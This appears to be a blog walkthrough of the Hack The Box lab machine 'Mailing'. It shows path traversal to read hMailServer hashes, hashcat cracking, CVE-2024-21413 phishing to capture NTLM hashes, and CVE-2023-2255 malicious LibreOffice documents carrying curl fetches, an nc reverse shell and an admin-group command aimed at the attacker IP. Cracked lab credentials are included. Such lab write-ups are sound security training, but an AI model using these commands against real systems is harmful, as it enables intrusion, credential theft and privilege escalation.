Skip to content
Hack The Box2 min read

HTB - Mailing

Mailing - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Mailing#

NMAP

image1

Add mailing.htb to /etc/hosts

  • Open Burp and capture the request from Download Instructions

image2

  • Try and get to the hosts file:
bash
C:\Windows\System32\drivers\etc\hosts

We exclude C:\ when doing traversal:

image3

image4

  • We have a LFI vulnerability

  • We know that hMailServer is running and the config file for it is in:

bash
C:\Program Files\hMailServer\Bin\hMailServer.ini

But that didn't work:

image5

  • We can try and do:
bash
C:\Program Files(x86)\hMailServer\Bin\hMailServer.ini

And we get the config file back:

image6

We get hashes:

AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7

[Database]

Password=0a9f8ad8bf896b501dde74f08efd7e4c

image7

  • Crack with hashcat:
bash
hashcat -a 0 -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

image8

Administrator - homenetworkingadministrator

  • Not logon creds:

image9

image10

6FC6F69152AD

  • Tried logging in through SMTP - But it didn't work:
bash
telnet mailing.htb 25

EHLO client.net

AUTH LOGIN

<username>

<password>
  • Log in through POP3 - worked but nothing there:
bash
telnet mailing.htb 110

USER Administrator@mailing.htb

PASS homenetworkingadministrator
bash
Responder -I tun0
  • And send the following crafted payload (We get the recipient name from the homepage):
bash
python3 CVE-2024-21413.py --server "mailing.htb" --port 587 --username "administrator@mailing.htb" --password "homenetworkingadministrator" --sender "Administrator@mailing.htb" --recipient "maya@mailing.htb" --url '\\10.10.14.15\meeting' --subject "Important"

image11

  • And we get a hit:

image12

  • Crack with hashcat:
bash
hashcat -a 0 -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

image13

maya : m4y4ngs4ri

  • The creds are good:

image14

  • And we can evil-winrm in:

image15

bash
evil-winrm -i mailing.htb -u maya -p m4y4ngs4ri

image16

bash
cat user.txt
  • Enumerating - we see a user localadmin:

image17

  • Looking at scheduled tasks:
bash
schtasks /query /fo LIST /v | select-string -pattern "localadmin" -context 9,13

image18

We see an office script running under localadmin

  • We can also see that LibreOffice is installed:

image19

  • Get LibreOffice version:
powershell
$libreofficeInstallPath = "C:\Program Files\LibreOffice"
$libreofficeVersion = (Get-Item "$libreofficeInstallPath\program\soffice.bin").VersionInfo.FileVersion
Write-Host "LibreOffice Version: $libreofficeVersion"

image20

  • CVE-2023-2255:

image21

bash
python3 CVE-2023-2255.py --cmd "curl <http://10.10.14.15:8000/a>" --output form.odt
  • Upload the form.odt to C:\Important Documents

image22

  • Set up python http server to test:

image23

  • Uploading nc and trying to get a reverse shell didn't work because of AV:
bash
python3 CVE-2023-2255.py --cmd "C:\Important Documents\nc.exe 10.10.14.15 8000 -e cmd.exe" --output form.odt
  • So instead added maya to admin group:
bash
python3 CVE-2023-2255.py --cmd "net localgroup Administradores /add maya" --output form.odt

image24

  • Close the current evil-winrm session and start a new session (otherwise the new group won't take effect)
bash
cat root.txt
  • We can also dump the SAM hashes now
Hack The Box5 min

HTB - Office

Office - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • gobuster
  • hashcat
  • impacket
  • kerberos
Hack The Box8 min

HTB - Analysis

Analysis - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • impacket
  • ldap
  • linux
  • nmap
Hack The Box2 min

HTB - Crafty

Crafty - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • ldap
  • linux
  • nmap
  • powershell
  • privilege escalation